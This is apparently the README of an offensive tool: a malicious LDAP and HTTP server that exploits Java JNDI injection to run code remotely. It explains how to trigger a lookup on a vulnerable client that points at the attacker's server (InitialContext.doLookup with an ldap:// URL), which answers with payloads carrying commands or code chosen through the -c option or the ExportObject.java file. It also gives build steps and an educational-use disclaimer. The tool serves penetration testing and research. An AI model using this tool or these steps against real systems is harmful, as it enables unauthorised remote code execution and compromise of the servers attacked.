A malicious LDAP server for JNDI injection attacks
A malicious LDAP server for JNDI injection attacks
A malicious LDAP server for JNDI injection attacks.
The project contains LDAP & HTTP servers for exploiting insecure-by-default Java JNDI API.
In order to perform an attack, you can start these servers locally and then trigger a JNDI resolution on the vulnerable client, e.g.:
InitialContext.doLookup("ldap://your_server.com:1389/o=reference");It will initiate a connection from the vulnerable client to the local LDAP server. Then, the local server responds with a malicious entry containing one of the payloads, that can be useful to achieve a Remote Code Execution.
In addition to the known JNDI attack methods(via remote classloading in references), this tool brings new attack vectors by leveraging the power of ObjectFactories.
…The most important parameters are the ldap server hostname (-n, should be accessible from the target) and the command you want to execute on the target server (-c).
As an alternative to the "-c" option, you can modify the ExportObject.java file by putting java code you want to execute on the target server.
…Java v1.7+ and Maven v3+ required
mvn packageThis software is provided solely for educational purposes and/or for testing systems which the user has prior permission to attack.
No open issues yet, or sync has not completed.